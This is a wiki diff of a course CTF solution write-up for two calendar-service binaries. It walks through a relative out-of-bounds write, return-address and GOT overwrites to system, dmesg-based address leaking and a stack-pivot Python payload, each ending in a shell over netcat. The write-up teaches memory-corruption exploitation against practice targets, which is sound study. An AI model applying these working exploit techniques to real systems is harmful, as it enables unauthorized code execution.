This shows you the differences between two versions of the page.
Next revision | Previous revision | ||
session:solution:mid-ctf_tasks2_4 [2014/07/11 11:08] rcaragea created |
session:solution:mid-ctf_tasks2_4 [2020/07/19 12:49] (current) |
||
---|---|---|---|
Line 1: | Line 1: | ||
====== CTF Tasks 2 & 4 ====== | ====== CTF Tasks 2 & 4 ====== | ||
+ | |||
+ | ===== Task 2 ===== | ||
+ | |||
+ | We start by browsing the source code and looking for a vulnerability. We immediately see this line: | ||
+ | <code c> | ||
+ | calendar[allowed_day] = entry; | ||
+ | </ | ||
+ | Here, both **allowed_day** and **entry** are controlled by us and there is no bounds checking. Thus, this is an arbitrary write to anywhere in memory. However, it's a relative rather than absolute write, which limits us to known offsets. | ||
+ | |||
+ | <code bash> | ||
+ | $ gdb ./hibercal | ||
+ | gdb-peda$ pdis hibercal | ||
+ | Dump of assembler code for function hibercal: | ||
+ | | ||
+ | | ||
+ | ........ | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | End of assembler dump. | ||
+ | gdb-peda$ break *0x080489ad | ||
+ | Breakpoint 1 at 0x80489ad | ||
+ | gdb-peda$ set follow-fork-mode child | ||
+ | gdb-peda$ run 4242 | ||
+ | Starting program: / | ||
+ | |||
+ | |||
+ | |||
+ | Breakpoint 1, 0x080489ad in hibercal () | ||
+ | gdb-peda$ context stack | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | 0000| 0xbfffecec --> 0x8048a1c (< | ||
+ | 0004| 0xbfffecf0 --> 0xbfffed0c (" | ||
+ | 0008| 0xbfffecf4 --> 0xbfffed0c (" | ||
+ | 0012| 0xbfffecf8 --> 0xb7fff900 --> 0x0 | ||
+ | 0016| 0xbfffecfc --> 0x1 | ||
+ | 0020| 0xbfffed00 --> 0x804a060 --> 0xb7ed6930 (< | ||
+ | 0024| 0xbfffed04 --> 0xb7fec65c (< | ||
+ | 0028| 0xbfffed08 --> 0xb7fffab8 --> 0xb7fffa5c --> 0xb7fdc780 --> 0xb7fff900 --> 0x0 | ||
+ | 0032| 0xbfffed0c (" | ||
+ | 0036| 0xbfffed10 (" | ||
+ | 0040| 0xbfffed14 --> 0x737561 (' | ||
+ | 0044| 0xbfffed18 --> 0x0 | ||
+ | 0048| 0xbfffed1c --> 0xb7eb0037 (< | ||
+ | 0052| 0xbfffed20 --> 0xb7f9aa80 --> 0xfbad2088 | ||
+ | 0056| 0xbfffed24 --> 0x0 | ||
+ | 0060| 0xbfffed28 --> 0x7f | ||
+ | |||
+ | [------------------------------------------------------------------------------] | ||
+ | </ | ||
+ | |||
+ | So, this is the code execution context when I entered " | ||
+ | Since **system** is called in another function (**no_chance**) it is also imported in the PLT. We can take the address from there and replace the return address with it. | ||
+ | The result would be the equivalent of **system(" | ||
+ | |||
+ | |||
+ | We only need to know what is the offset to the return address. We write 0x41424344=1094861636 at day 0 and then compute by hand: | ||
+ | |||
+ | <code bash> | ||
+ | gdb-peda$ run 4242 | ||
+ | Starting program: / | ||
+ | warning: the debug information found in "/ | ||
+ | |||
+ | warning: Could not load shared library symbols for linux-gate.so.1. | ||
+ | Do you need "set solib-search-path" | ||
+ | [New process 19558] | ||
+ | [Switching to process 19558] | ||
+ | Breakpoint 1, 0x080489ad in hibercal () | ||
+ | gdb-peda$ telescope $esp-4*30 50 | ||
+ | 0000| 0xbfffec74 --> 0x0 | ||
+ | 0004| 0xbfffec78 --> 0xbfffece8 --> 0xbfffed78 --> 0xbfffede8 --> 0x0 | ||
+ | 0008| 0xbfffec7c --> 0x80489ac (< | ||
+ | 0012| 0xbfffec80 --> 0xbfffed0c (" | ||
+ | 0016| 0xbfffec84 --> 0x804a08c (" | ||
+ | 0020| 0xbfffec88 --> 0x0 | ||
+ | 0024| 0xbfffec8c --> 0xb7e6a17b (< | ||
+ | 0028| 0xbfffec90 --> 0xb7f9a9e0 --> 0xfbad2887 | ||
+ | 0032| 0xbfffec94 --> 0xa (' | ||
+ | 0036| 0xbfffec98 --> 0xb7f9a9e0 --> 0xfbad2887 | ||
+ | 0040| 0xbfffec9c (" | ||
+ | 0044| 0xbfffeca0 --> 0x2a (' | ||
+ | 0048| 0xbfffeca4 --> 0x2a (' | ||
+ | 0052| 0xbfffeca8 --> 0x2a (' | ||
+ | 0056| 0xbfffecac --> 0x2a (' | ||
+ | 0060| 0xbfffecb0 --> 0x2a (' | ||
+ | 0064| 0xbfffecb4 --> 0x2a (' | ||
+ | 0068| 0xbfffecb8 --> 0x2a (' | ||
+ | 0072| 0xbfffecbc --> 0x2a (' | ||
+ | 0076| 0xbfffecc0 --> 0x2a (' | ||
+ | 0080| 0xbfffecc4 --> 0x2a (' | ||
+ | 0084| 0xbfffecc8 --> 0x2a (' | ||
+ | 0088| 0xbfffeccc --> 0x2a (' | ||
+ | 0092| 0xbfffecd0 --> 0x2a (' | ||
+ | 0096| 0xbfffecd4 --> 0x2a (' | ||
+ | 0100| 0xbfffecd8 --> 0x2a (' | ||
+ | 0104| 0xbfffecdc --> 0x10 | ||
+ | 0108| 0xbfffece0 --> 0x0 | ||
+ | 0112| 0xbfffece4 --> 0x0 | ||
+ | 0116| 0xbfffece8 --> 0xbfffed78 --> 0xbfffede8 --> 0x0 | ||
+ | 0120| 0xbfffecec --> 0x8048a1c (< | ||
+ | 0124| 0xbfffecf0 --> 0xbfffed0c (" | ||
+ | 0128| 0xbfffecf4 --> 0xbfffed0c (" | ||
+ | 0132| 0xbfffecf8 --> 0xb7fff900 --> 0x0 | ||
+ | 0136| 0xbfffecfc --> 0x1 | ||
+ | 0140| 0xbfffed00 --> 0x804a060 --> 0xb7ed6930 (< | ||
+ | 0144| 0xbfffed04 --> 0xb7fec65c (< | ||
+ | 0148| 0xbfffed08 --> 0xb7fffab8 --> 0xb7fffa5c --> 0xb7fdc780 --> 0xb7fff900 --> 0x0 | ||
+ | 0152| 0xbfffed0c (" | ||
+ | 0156| 0xbfffed10 (" | ||
+ | 0160| 0xbfffed14 --> 0x737561 (' | ||
+ | 0164| 0xbfffed18 --> 0x0 | ||
+ | 0168| 0xbfffed1c --> 0xb7eb0037 (< | ||
+ | 0172| 0xbfffed20 --> 0xb7f9aa80 --> 0xfbad2088 | ||
+ | 0176| 0xbfffed24 --> 0x0 | ||
+ | 0180| 0xbfffed28 --> 0x7f | ||
+ | 0184| 0xbfffed2c --> 0x8048e14 --> 0x52524500 ('' | ||
+ | 0188| 0xbfffed30 --> 0xbffff074 (" | ||
+ | 0192| 0xbfffed34 --> 0x804840c --> 0x62696c00 ('' | ||
+ | 0196| 0xbfffed38 --> 0xb7ef6669 (< | ||
+ | </ | ||
+ | |||
+ | We see our value at 0xbfffec9c and then lots of 42's and the return address at 0xbfffecec. | ||
+ | 0xbfffecec - 0xbfffec9c = 80 = 4 * 20. | ||
+ | |||
+ | Thus, we need to write at day 20. | ||
+ | |||
+ | |||
+ | |||
+ | |||
+ | |||
+ | Let's try it. | ||
+ | <code bash> | ||
+ | $ gdb ./ | ||
+ | gdb-peda$ p system | ||
+ | $1 = {<text variable, no debug info>} 0x80486f0 < | ||
+ | gdb-peda$ quit | ||
+ | |||
+ | $ python | ||
+ | >>> | ||
+ | 134514416 | ||
+ | |||
+ | $ nc 127.0.0.1 4242 | ||
+ | Enter your name: | ||
+ | |||
+ | /bin/sh | ||
+ | You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one! | ||
+ | Which day? | ||
+ | 20 | ||
+ | What do you want to write? | ||
+ | 134514416 | ||
+ | Goodbye | ||
+ | /bin/sh | ||
+ | date | ||
+ | Fri Jul 11 12:35:22 EEST 2014 | ||
+ | |||
+ | </ | ||
+ | |||
+ | |||
+ | ===== Task 4 ===== | ||
+ | |||
+ | This task is said to be more secure than the previous one. Since we have the source to both let's do a diff. | ||
+ | <code diff> | ||
+ | --- hibercal.c 2014-07-06 15: | ||
+ | +++ ubercal.c 2014-07-06 15: | ||
+ | @@ -14,7 +14,7 @@ | ||
+ | { | ||
+ | | ||
+ | | ||
+ | - system(" | ||
+ | + system(" | ||
+ | } | ||
+ | |||
+ | |||
+ | @@ -24,9 +24,14 @@ | ||
+ | | ||
+ | } | ||
+ | |||
+ | -void hibercal(char *name) | ||
+ | +void ubercal() | ||
+ | { | ||
+ | int i, calendar[HIBER]; | ||
+ | + | ||
+ | + char name[100]; | ||
+ | + puts(" | ||
+ | + scanf(" | ||
+ | + | ||
+ | for (i = 0 ; i < HIBER; i++) | ||
+ | | ||
+ | |||
+ | @@ -52,21 +57,12 @@ | ||
+ | |||
+ | void doprocessing(int sockfd) | ||
+ | { | ||
+ | - char buf[100]; | ||
+ | | ||
+ | | ||
+ | | ||
+ | - puts(" | ||
+ | - scanf(" | ||
+ | - hibercal(buf); | ||
+ | + ubercal(); | ||
+ | } | ||
+ | |||
+ | - | ||
+ | - | ||
+ | - | ||
+ | - | ||
+ | - | ||
+ | - | ||
+ | int main(int argc, char **argv) | ||
+ | { | ||
+ | int optval = 1; | ||
+ | @@ -132,7 +128,3 @@ | ||
+ | } | ||
+ | } | ||
+ | } | ||
+ | </ | ||
+ | |||
+ | So the code is a bit rearranged. Let's test, as before, what we have on the stack at the point of " | ||
+ | <code bash> | ||
+ | 0x080489c1 < | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | End of assembler dump. | ||
+ | gdb-peda$ break *0x080489d5 | ||
+ | Breakpoint 1 at 0x80489d5 | ||
+ | gdb-peda$ run 4242 | ||
+ | Breakpoint 1, 0x080489d5 in ubercal () | ||
+ | gdb-peda$ context stack | ||
+ | [------------------------------------stack-------------------------------------] | ||
+ | 0000| 0xbfffed5c --> 0x8048a1c (< | ||
+ | 0004| 0xbfffed60 --> 0xb7f9a9e0 --> 0xfbad2887 | ||
+ | 0008| 0xbfffed64 --> 0x0 | ||
+ | 0012| 0xbfffed68 --> 0x8661 | ||
+ | 0016| 0xbfffed6c --> 0xbfffede8 --> 0x0 | ||
+ | 0020| 0xbfffed70 --> 0xb7f99e54 --> 0x1a6d5c | ||
+ | 0024| 0xbfffed74 --> 0xb7f99e54 --> 0x1a6d5c | ||
+ | 0028| 0xbfffed78 --> 0xbfffede8 --> 0x0 | ||
+ | 0032| 0xbfffed7c --> 0x8048bee (< | ||
+ | 0036| 0xbfffed80 --> 0x4 | ||
+ | 0040| 0xbfffed84 --> 0xbfffeda8 --> 0x9ee40002 | ||
+ | 0044| 0xbfffed88 --> 0xbfffedc8 --> 0x10 | ||
+ | 0048| 0xbfffed8c --> 0xbfffedcc --> 0x1 | ||
+ | 0052| 0xbfffed90 --> 0x4 | ||
+ | 0056| 0xbfffed94 --> 0xbfffee84 --> 0xbffff05e ("/ | ||
+ | 0060| 0xbfffed98 --> 0xb7e03060 --> 0x2a1d | ||
+ | |||
+ | [------------------------------------------------------------------------------] | ||
+ | |||
+ | </ | ||
+ | |||
+ | Unfortunately, | ||
+ | <code c> | ||
+ | void ubercal() | ||
+ | { | ||
+ | int i, calendar[HIBER]; | ||
+ | |||
+ | char name[100]; | ||
+ | puts(" | ||
+ | scanf(" | ||
+ | |||
+ | for (i = 0 ; i < HIBER; i++) | ||
+ | calendar[i] = 42; | ||
+ | |||
+ | if (allowed_day == 0) { | ||
+ | printf(" | ||
+ | |||
+ | puts(" | ||
+ | scanf(" | ||
+ | |||
+ | puts(" | ||
+ | scanf(" | ||
+ | } else { | ||
+ | puts(" | ||
+ | } | ||
+ | calendar[allowed_day] = entry; | ||
+ | |||
+ | process_calendar(calendar); | ||
+ | |||
+ | puts(" | ||
+ | puts(name); // < | ||
+ | } | ||
+ | </ | ||
+ | |||
+ | Notice **puts(name)**. Can we replace **puts** with **system**? Let's remember how **puts** works: | ||
+ | |||
+ | <code bash> | ||
+ | gdb-peda$ context code | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | => 0x80488fc < | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | Guessed arguments: | ||
+ | arg[0]: 0x8048d0b (" | ||
+ | [------------------------------------------------------------------------------] | ||
+ | |||
+ | gdb-peda$ si | ||
+ | gdb-peda$ context code | ||
+ | [-------------------------------------code-------------------------------------] | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | => 0x80486e0 < | ||
+ | | 0x80486e6 < | ||
+ | | 0x80486eb < | ||
+ | | 0x80486f0 < | ||
+ | | 0x80486f6 < | ||
+ | | 0x80486fb < | ||
+ | | 0x8048700 < | ||
+ | | 0x8048706 < | ||
+ | | 0x804870b < | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | | ||
+ | JUMP is taken | ||
+ | [------------------------------------------------------------------------------] | ||
+ | gdb-peda$ telescope 0x804a030 | ||
+ | 0000| 0x804a030 --> 0x80486e6 (< | ||
+ | 0004| 0x804a034 --> 0x80486f6 (< | ||
+ | |||
+ | </ | ||
+ | It uses the PLT/GOT mechanism as we discussed in previous sessions. It uses a table of function pointers that initially point back in the program to a resolution procedure. After being called once the function pointers are **written** with the correct address. So the table is writable! We can write the address of system into puts. | ||
+ | |||
+ | But hold on! This would require an absolute arbitrary write while we only have a relative arbitrary write. Can we still solve it? In this case yes, as the keen observer would see that both Tasks 2 & 4 run on the same machine: | ||
+ | * Task 2: HiberCal => exploit task (source provided) | ||
+ | * ec2-54-76-236-87.eu-west-1.compute.amazonaws.com 31337 | ||
+ | * Task 4: UberCal => harder exploit, variation on task 2 **300 points** | ||
+ | * ec2-54-76-236-87.eu-west-1.compute.amazonaws.com 31338 | ||
+ | |||
+ | How does that help us? The analogy is the following: | ||
+ | We have an arbitrary write at **X + 4 * Y = Z**. We control Y but we don't know X. What about Z? | ||
+ | |||
+ | Remember good old Segmentation Fault! If we acess an invalid memory address the program receives SEGV and is killed by the kernel. The kernel also logs to **dmesg** the location of the invalid address. But we have access to **dmesg** on that machine since we solved the previous challenge. | ||
+ | |||
+ | <code bash> | ||
+ | $ nc 127.0.0.1 4242 | ||
+ | Enter your name: | ||
+ | |||
+ | test | ||
+ | You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one! | ||
+ | Which day? | ||
+ | -100000 | ||
+ | What do you want to write? | ||
+ | 1 | ||
+ | $ dmesg|tail -1 | ||
+ | ubercal[23403]: | ||
+ | </ | ||
+ | |||
+ | So Z = 0xbff9d2ac, Y = -100000. It's trivial to solve for X: 0xbfffed4c | ||
+ | |||
+ | If you followed everything so far you know we have all we need for the exploit. | ||
+ | Writing to Z=0x804a030 requires us to use Y= (0x804a030-0xbfffed4c)/ | ||
+ | |||
+ | <code bash> | ||
+ | $ nc 127.0.0.1 4242 | ||
+ | Enter your name: | ||
+ | |||
+ | /bin/sh | ||
+ | You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one! | ||
+ | Which day? | ||
+ | -771674951 | ||
+ | What do you want to write? | ||
+ | 134514422 | ||
+ | date | ||
+ | Fri Jul 11 13:06:50 EEST 2014 | ||
+ | </ | ||
+ | |||
+ | Works as expected! | ||
+ | |||
+ | ==== Solving using Paul's idea (stack pivoting) ==== | ||
+ | During the CTF Paul mentioned that he sees the solution as corrupting the stack frame so that when the function returns you get more " | ||
+ | It's a much more difficult solution but doable. Let's try it. | ||
+ | |||
+ | The whole idea is to use the **leave** and **ret** set of instructions to do some magic. | ||
+ | **leave** esentially does | ||
+ | <code asm> | ||
+ | mov esp, ebp | ||
+ | pop ebp | ||
+ | </ | ||
+ | |||
+ | So the top of the stack now points to the saved ebp and ebp is restored from this new top of the stack. | ||
+ | Remember that we can overwrite the return address. But we can also overwrite the saved ebp just as well. | ||
+ | |||
+ | If we replace ebp with 0x41424344 only the ebp will change. Remember that we would like a primitive that does **mov esp, ARBITRARY**. | ||
+ | Luckily, immediately after **leave** and **ret** the next set of instructions is another **leave** and **ret**. | ||
+ | |||
+ | So the context is the following: | ||
+ | < | ||
+ | Initially: | ||
+ | After leave part1 (mov esp, ebp): ESP = current_ebp | ||
+ | After leave part2 (pop ebp): ESP = current_ebp + 4 EBP = saved_ebp = our_input | ||
+ | |||
+ | After return: | ||
+ | |||
+ | |||
+ | After leave part1 (mov esp, ebp): ESP = our_input, | ||
+ | After leave part2 (pop ebp): ESP = our_input + 4 EBP= first 4 bytes at the address " | ||
+ | |||
+ | After return: | ||
+ | </ | ||
+ | |||
+ | We can control EIP with bytes 4:7 and the stack as well. | ||
+ | We can reuse the instruction at 0x080488d1: | ||
+ | <code asm> | ||
+ | | ||
+ | | ||
+ | </ | ||
+ | We see the call to **system** expects the parameter to be right on the top of the stack. | ||
+ | Our payload should now be like this: | ||
+ | < | ||
+ | 00: value of our_input | ||
+ | 04: 0x080488d1 (call to system) | ||
+ | 08: address that holds the command given to system | ||
+ | 0c: ???? | ||
+ | </ | ||
+ | |||
+ | Since the only buffer we control is the name we want the following: | ||
+ | < | ||
+ | name+00 : address of name | ||
+ | name+04 : 0x080488d1 (call to system) | ||
+ | name+08 : address of name+0c | ||
+ | name+0c : the actual command | ||
+ | </ | ||
+ | |||
+ | All we need now is to find out the address of the **name** buffer. We have the following snippets: | ||
+ | |||
+ | <code asm> | ||
+ | | ||
+ | | ||
+ | | ||
+ | |||
+ | |||
+ | |||
+ | | ||
+ | | ||
+ | | ||
+ | </ | ||
+ | So | ||
+ | < | ||
+ | |||
+ | name = ebp - 0xb0 | ||
+ | calendar = ebp - 0x4c | ||
+ | |||
+ | |||
+ | name - calendar = - 0xb0 + 0x4c = -100 | ||
+ | |||
+ | name = calendar - 100 | ||
+ | </ | ||
+ | But we already know the address of **calendar** from before. It's X from the previous solution using dmesg. | ||
+ | |||
+ | The only thing that remains is to pass the value of ebp correctly. Since **allowed_day** is declared as a signed integer we need to convert it. | ||
+ | |||
+ | The full python script is: | ||
+ | <code python> | ||
+ | # | ||
+ | import struct,sys; | ||
+ | |||
+ | |||
+ | segv_addr = 0xbff9dc5c | ||
+ | calendar_addr = segv_addr + 100000 * 4 | ||
+ | buffer_addr = calendar_addr - 100 | ||
+ | |||
+ | |||
+ | |||
+ | val = struct.unpack("< | ||
+ | |||
+ | sys.stderr.write(" | ||
+ | |||
+ | |||
+ | |||
+ | payload = struct.pack('< | ||
+ | payload += struct.pack('< | ||
+ | payload += struct.pack('< | ||
+ | payload += "/ | ||
+ | |||
+ | print payload | ||
+ | |||
+ | </ | ||
+ | |||
+ | And now we try it: | ||
+ | <code bash> | ||
+ | $ cat <(python gen_input.py) - | nc 127.0.0.1 4242 | ||
+ | Enter your name: | ||
+ | |||
+ | Use 19 and -1073746712 as input | ||
+ | You are allowed to write an entry in the 16-day hibernation calendar. What will it be? Make it a good one! | ||
+ | Which day? | ||
+ | 19 | ||
+ | What do you want to write? | ||
+ | -1073746712 | ||
+ | Goodbye | ||
+ | èìÿ¿ôìÿ¿/ | ||
+ | date | ||
+ | Fri Jul 11 13:50:37 EEST 2014 | ||
+ | ls | ||
+ | Makefile | ||
+ | README | ||
+ | ubercal | ||
+ | ubercal.c | ||
+ | |||
+ | </ | ||
+ | |||